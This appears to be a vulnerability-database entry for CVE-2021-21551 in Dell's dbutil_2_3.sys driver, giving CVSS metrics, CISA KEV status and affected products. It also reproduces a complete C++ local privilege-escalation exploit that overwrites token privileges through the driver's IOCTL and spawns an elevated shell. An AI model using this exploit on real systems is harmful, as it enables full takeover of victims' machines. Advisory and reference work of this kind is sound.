CVE-2021-21551 : Detail

CVE-2021-21551

8.8
/
High
0.52%V3
Local
2021-05-04
15h15 +00:00
2025-02-07
12h47 +00:00
CVE.org
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CVE Descriptions

Dell dbutil_2_3.sys driver contains an insufficient access control vulnerability which may lead to escalation of privileges, denial of service, or information disclosure. Local authenticated user access is required.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-782 Exposed IOCTL with Insufficient Access Control
The product implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Dell dbutil Driver Insufficient Access Control Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-03-30 22h00 +00:00

Action is due : 2022-04-20 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 49893

Publication date : 2021-05-20 22h00 +00:00
Author : Paolo Stagno
EDB Verified : No

# Exploit Title: DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE) # Date: 10/05/2021 # Exploit Author: Paolo Stagno aka VoidSec # Version: <= 2.3 # CVE: CVE-2021-21551 # Tested on: Windows 10 Pro x64 v.1903 Build 18362.30 # Blog: https://voidsec.com/reverse-engineering-and-exploiting-dell-cve-2021-21551/ #include <iostream> #include <windows.h> #include <winternl.h> #include <tlhelp32.h> #include <algorithm> #define IOCTL_CODE 0x9B0C1EC8 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA) #define SystemHandleInformation 0x10 #define SystemHandleInformationSize 1024 * 1024 * 2 // define the buffer structure which will be sent to the vulnerable driver typedef struct Exploit { uint64_t Field1; // "padding" can be anything void* Field2; // where to write uint64_t Field3; // must be 0 uint64_t Field4; // value to write }; typedef struct outBuffer { uint64_t Field1; uint64_t Field2; uint64_t Field3; uint64_t Field4; }; // define a pointer to the native function 'NtQuerySystemInformation' using pNtQuerySystemInformation = NTSTATUS(WINAPI*)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); // define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; // define the SYSTEM_HANDLE_INFORMATION structure typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; int main(int argc, char** argv) { // open a handle to the device exposed by the driver - symlink is \\.\\DBUtil_2_3 HANDLE device = ::CreateFileW( L"\\\\.\\DBUtil_2_3", GENERIC_WRITE | GENERIC_READ, NULL, nullptr, OPEN_EXISTING, NULL, NULL); if (device == INVALID_HANDLE_VALUE) { std::cout << "[!] Couldn't open handle to DBUtil_2_3 driver. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Opened a handle to DBUtil_2_3 driver!\n"; // resolve the address of NtQuerySystemInformation and assign it to a function pointer pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Resolved NtQuerySystemInformation!\n"; // open the current process token - it will be used to retrieve its kernelspace address later HANDLE currentProcess = ::GetCurrentProcess(); HANDLE currentToken = NULL; bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, &currentToken); if (!success) { std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Opened a handle to the current process token!\n"; // allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize); // call NtQuerySystemInformation and fill the handleTableInformation structure ULONG returnLength = 0; NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength); uint64_t tokenAddress = 0; // iterate over the system's handle table and look for the handles beloging to our process for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) { SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i]; // if it finds our process and the handle matches the current token handle we already opened, print it if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken) { tokenAddress = (uint64_t)handleInfo.Object; std::cout << "[+] Current token address in kernelspace is at: 0x" << std::hex << tokenAddress << std::endl; } } outBuffer buffer = { 0, 0, 0, 0 }; /* dt nt!_SEP_TOKEN_PRIVILEGES +0x000 Present : Uint8B +0x008 Enabled : Uint8B +0x010 EnabledByDefault : Uint8B We've added +1 to the offsets to ensure that the low bytes part are 0xff. */ // overwrite the _SEP_TOKEN_PRIVILEGES "Present" field in the current process token Exploit exploit = { 0x4141414142424242, (void*)(tokenAddress + 0x40), 0x0000000000000000, 0xffffffffffffffff }; // overwrite the _SEP_TOKEN_PRIVILEGES "Enabled" field in the current process token Exploit exploit2 = { 0x4141414142424242, (void*)(tokenAddress + 0x48), 0x0000000000000000, 0xffffffffffffffff }; // overwrite the _SEP_TOKEN_PRIVILEGES "EnabledByDefault" field in the current process token Exploit exploit3 = { 0x4141414142424242, (void*)(tokenAddress + 0x50), 0x0000000000000000, 0xffffffffffffffff }; DWORD bytesReturned = 0; success = DeviceIoControl( device, IOCTL_CODE, &exploit, sizeof(exploit), &buffer, sizeof(buffer), &bytesReturned, nullptr); if (!success) { std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Successfully overwritten current token 'Present' field!\n"; success = DeviceIoControl( device, IOCTL_CODE, &exploit2, sizeof(exploit2), &buffer, sizeof(buffer), &bytesReturned, nullptr); if (!success) { std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Successfully overwritten current token 'Enabled' field!\n"; success = DeviceIoControl( device, IOCTL_CODE, &exploit3, sizeof(exploit3), &buffer, sizeof(buffer), &bytesReturned, nullptr); if (!success) { std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!\n"; std::cout << "[+] Token privileges successfully overwritten!\n"; std::cout << "[+] Spawning a new shell with full privileges!\n"; system("cmd.exe"); return 0; }

Products Mentioned

Configuraton 0

Dell>>Dbutil >> Version To (including) 2.3

    Dell>>Alienware_14 >> Version -

    Dell>>Alienware_17_51m_r2 >> Version -

    Dell>>Alienware_area_51 >> Version -

    Dell>>Alienware_asm100 >> Version -

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    Dell>>Canvas_27 >> Version -

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    Dell>>Embedded_box_pc_5000 >> Version -

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    Dell>>Inspiron_14-3452 >> Version -

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    Dell>>Latitude_12_7285 >> Version -

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      References